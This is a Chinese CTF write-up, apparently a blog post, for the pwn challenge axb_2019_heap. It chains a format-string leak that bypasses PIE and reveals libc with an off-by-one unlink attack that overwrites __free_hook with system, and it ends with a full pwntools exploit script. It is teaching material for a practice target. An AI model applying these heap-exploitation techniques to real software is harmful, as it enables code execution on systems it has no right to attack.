axb_2019_heap【write up】

axb_2019_heap

unlink和格式化字符串漏洞

惯例我们先来checksec一下

保护全开的64位程序

请添加图片描述

放进ida64里

看一下main函数非常标准的菜单堆题

请添加图片描述

有趣的是在一开始的banner函数中存在格式化字符串漏洞

通过观察栈上数据我们可以利用该函数泄露出main函数地址(即绕过PIE保护)并泄露libc

请添加图片描述

add_note函数

请添加图片描述

更正图片中的错误size和chunk addr并不会重合

delete_note函数

非常标准的释放流程 不存在uaf漏洞

请添加图片描述

edit_note函数

内部有个自定义函数get_input

请添加图片描述

get_input函数(漏洞点)

请添加图片描述

审题完成 开始解题

首先我们通过格式化字符串漏洞来计算偏移 得到偏移为7

请添加图片描述

然后我们利用gdb调试可以发现main函数的地址在偏移为19的地方 __libc_start_main+243在偏移为15的地方

于是我们可以通过泄露这两个地址来获得libc的地址并绕过PIE保护

请添加图片描述

io.recvuntil('name: ')
payload=b"%15$p%19$p"
io.sendline(payload)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main'] - 240
io.recvuntil('0x')
base=int(io.recv(12),16)-0x116A

然后我我们就可以通过计算得到note数组的地址和system函数的地址

接下来就是堆上的unlink操作了

由于我们观察edit函数发现存在off by one漏洞因此我们考虑使用unlink来达成我们的攻击目标

首先我们先来创建chunk

add(0,0x98,b'aaaa')
add(0,0x98,b'bbbb')
add(0,0x98,b'cccc')
add(0,0x98,b'/bin/sh')

然后我们通过edit函数来修改chunk0中的内容创建一个fd和bk指针指向note数组的fakechunk 并利用off by one漏洞 将chunk1中的size改为0xa0

将chunk1中的size修改为0xa0就会导致chunk1在free的时候认为前面已经是freechunk 进而触发堆合并unlink

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)

然后我们将chunk1 free掉这样我们的chunk0实际上就已经跳转到了note数组上即此时我们note数组上原本存放chunk0地址的位置被篡改成了note的地址 这时我们编辑chunk0上的内容实际上就是在编辑note数组上的内容 我们将存放chunk0地址上的内容篡改为free_hook的地址

delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))

接下来我们修改chunk0上的内容实际上就是在修改free_hook上的内容 这样我们执行free函数实际上就是在执行system函数 接下来我们delete(3) 即可执行system(”/bin/sh“)

edit(0,p64(system))

然后只要io.interactive()就可以获取控制权啦
在这里插入图片描述

exp:

from pwn import *
#from LibcSearcher import *
context.log_level='debug'
#io=process('')
io=remote('node4.buuoj.cn',26148)
elf=ELF('./axb_2019_heap')
libc=ELF('./libc-2.23.so')
io.recvuntil('name: ')
payload=b"%15$p%19$p"
io.sendline(payload)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main'] - 240
io.recvuntil('0x')
base=int(io.recv(12),16)-0x116A
system=libc.sym['system']+libc_base

free_hook=libc_base+libc.sym['__free_hook']

bss=base+0x202060
print(hex(base))
print(hex(libc_base))

#fmstr attack finish

def add(idx,size,content):
	io.sendlineafter(">> ",b"1")
	io.sendlineafter("(0-10):",str(idx))
	io.sendlineafter("size:",str(size))
	io.sendlineafter("content:",content)
	
def delete(idx):
	io.sendlineafter(">> ",b"2")
	io.sendlineafter("index:",str(idx))
	
def edit(idx,content):
	io.sendlineafter(">> ",b"4")
	io.sendlineafter("index:",str(idx))
	io.sendlineafter("content: \n",content)
	
add(0,0x98,b'aaaa')
add(1,0x98,b'bbbb')
add(2,0x90,b'cccc')
add(3,0x90,b'/bin/sh')

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
edit(0,p64(system))
delete(3)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值